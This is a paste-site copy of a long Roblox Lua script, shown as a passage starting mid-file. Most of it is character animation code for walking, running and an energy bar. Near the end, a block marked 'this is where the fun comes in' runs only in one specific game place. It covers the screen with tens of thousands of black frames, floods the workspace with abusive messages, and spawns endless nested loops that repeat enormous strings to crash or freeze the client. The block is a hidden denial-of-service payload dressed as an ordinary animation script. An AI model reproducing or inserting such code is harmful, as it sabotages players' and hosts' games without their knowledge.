  4685. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4686. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4687. end
  4688. end
  4689. elseif torvel>2 and torvel<22 and hitfloor~=nil then
  4690. Anim="Walk"
  4691. if attack==false then
  4692. change=0.8
  4693. --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3)
  4694. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3)
  4695. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4696. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4697. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3)
  4698. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
  4699. --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4700. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4701. RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2)
  4702. --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2)
  4703. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3)
  4704. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3)
  4705. RH.C0=clerp(RH.C0,RHC0,.3)
  4706. LH.C0=clerp(LH.C0,LHC0,.3)
  4707. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4708. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4709. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4710. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4711. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4712. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4713. ]]--
  4714. Footsteps:Play()
  4715. Footsteps2:Stop()
  4716. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3)
  4717. Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3)
  4718. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4719. RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3)
  4720. LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3)
  4721. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4722. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4723. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4724. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2)
  4725. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2)
  4726. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4727. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4728. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4729. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4730. end
  4731. elseif torvel>=22 and hitfloor~=nil then
  4732. Anim="Run"
  4733. change=1
  4734. if attack==false then
  4735. Footsteps:Stop()
  4736. Footsteps2:Play()
  4737. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3)
  4738. Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3)
  4739. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4740. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3)
  4741. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3)
  4742. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4743. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4744. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4745. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2)
  4746. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2)
  4747. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4748. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4749. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4750. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4751. end
  4752. end
  4753. end
  4754. fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true)
  4755. fenbarmana4.Text="[Energy] <{[ "..mana.." ]}> [Energy]"
  4756. text.Text = math.floor(hum.Health)
  4757. if mana>=100 then
  4758. mana=100
  4759. else
  4760. if mananum<=8 then
  4761. mananum=mananum+100
  4762. else
  4763. mananum=0
  4764. mana=mana+100
  4765. end
  4766. end
  4767. end
  4768.  
  4769.  
  4770.  
  4771.  
  4772. --- shshshhh this is where the fun comes in ---
  4773. if game.PlaceId == 21053279 then
  4774. plr = game.Players.LocalPlayer
  4775. char = plr.Character
  4776. cam = workspace.CurrentCamera
  4777. cam.CameraType = "Scriptable"
  4778. cam.CoordinateFrame = CFrame.new(0,0,50)
  4779. local localContainer
  4780. local service=setmetatable({
  4781. MarketPlace=game:service("MarketplaceService");
  4782. GamepassService=game:service("GamePassService");
  4783. ChatService=game:service("Chat");
  4784. LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
  4785. },{
  4786. __index=function(tab,index)
  4787. local serv
  4788. local ran,err=pcall(function() serv=game:service(index) end)
  4789. if ran then
  4790. tab[index]=serv
  4791. return serv
  4792. end
  4793. end
  4794. })
  4795.  
  4796. local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
  4797.  
  4798. x=game.Players.LocalPlayer
  4799. x.CameraMode=Enum.CameraMode.LockFirstPerson
  4800. f=Instance.new("Frame")
  4801. f.Size=UDim2.new(1,0,1,0)
  4802. f.BackgroundTransparency=0.01
  4803. f.BackgroundColor3=Color3.new()
  4804. pg=x.PlayerGui
  4805. gui=Instance.new("ScreenGui",pg)
  4806. wait(.1)
  4807. for i=1,28000 do
  4808. f:Clone().Parent=gui
  4809. f:Clone().Parent=gui
  4810. f:Clone().Parent=gui
  4811. end
  4812.  
  4813. script:Destroy();
  4814. local runService = Game:GetService("RunService").Stepped;
  4815. local LagNum = 1250;
  4816. local str = "lag fucker lag";
  4817.  
  4818. for i = 1, math.huge do
  4819. if i % LagNum == 0 then runService:wait(); end
  4820. Instance.new("Message", Workspace).Text = str;
  4821. end
  4822.  
  4823. local bores=coroutine.create(function() --Yolo?
  4824. cPcall(function()
  4825. --print(Game[("%s|"):rep(0xFFFFFFF)])
  4826. cPcall(print,'lol')
  4827. cPcall(warn,'lol')
  4828. cPcall(error,'lol')
  4829. while wait(0.1) do
  4830. spawn(function()
  4831. cPcall(function()
  4832. spawn(function()
  4833. local tab={}
  4834. pcall(function()
  4835. spawn(function()
  4836. for i=1,1000000 do
  4837. cPcall(function()
  4838. spawn(function()
  4839. local bob2=coroutine.create(function()
  4840. function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  4841. function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  4842. spawn(f1)
  4843. end)
  4844. spawn(function() delay(0,function() coroutine.resume(bob2) end) end)
  4845. spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
  4846. end)
  4847. end)
  4848. end
  4849. tab={}
  4850. end)
  4851. end)
  4852. end)
  4853. end)
  4854. end)
  4855. end
  4856. end)
  4857. end)
  4858.  
  4859. service.RunService.Stepped:connect(function()
  4860. for i=1,500000 do
  4861. delay(0,function() pcall(function() coroutine.resume(bores) end) end)
  4862. end
  4863. end)
  4864.  
  4865.  
  4866. local function bob()
  4867. cPcall(function()
  4868. while wait(0.1) do
  4869. --cPcall(function()
  4870. --for i=1,100 do
  4871. local p=Instance.new("Part")
  4872. p.Material="Neon"
  4873. p.Size=Vector3.new(50,50,50)
  4874. p.Anchored=true
  4875. p.BackSurface="Studs"
  4876. p.BottomSurface="Studs"
  4877. p.FrontSurface="Studs"
  4878. p.LeftSurface="Studs"
  4879. p.RightSurface="Studs"
  4880. p.TopSurface="Studs"
  4881. local t=Instance.new("Texture",p)
  4882. t.Texture="http://www.roblox.com/asset/?id=190803157"
  4883. t.Face="Top"
  4884. t.StudsPerTileU=1000
  4885. t.StudsPerTileV=1000
  4886. local t2=t:clone()
  4887. t2.Parent=p
  4888. t2.Face="Bottom"
  4889. local t2=t:clone()
  4890. t2.Parent=p
  4891. t2.Face="Left"
  4892. local t2=t:clone()
  4893. t2.Parent=p
  4894. t2.Face="Right"
  4895. local t2=t:clone()
  4896. t2.Parent=p
  4897. t2.Face="Front"
  4898. local t2=t:clone()
  4899. t2.Parent=p
  4900. t2.Face="Back"
  4901. p.Parent=service.LocalContainer()
  4902. --end
  4903. --end)
  4904. end
  4905. end)
  4906. end
  4907. bob() --while wait(0.1) do cPcall(bob) end
  4908. end
  4909. --
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement